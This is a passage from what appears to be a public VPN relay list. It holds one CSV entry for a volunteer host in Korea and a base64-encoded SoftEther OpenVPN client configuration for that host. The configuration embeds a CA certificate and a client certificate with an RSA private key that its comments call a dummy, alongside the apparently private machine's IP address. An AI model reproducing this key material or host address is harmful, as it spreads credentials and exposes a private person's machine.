zBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn872330602,122.42.193.245,825187,45,93334918,Korea Republic of,KR,11,248044195,229994,8637572342671,2weeks,user-PC's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjIuNDIuMTkzLjI0NSAxNzU4DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxV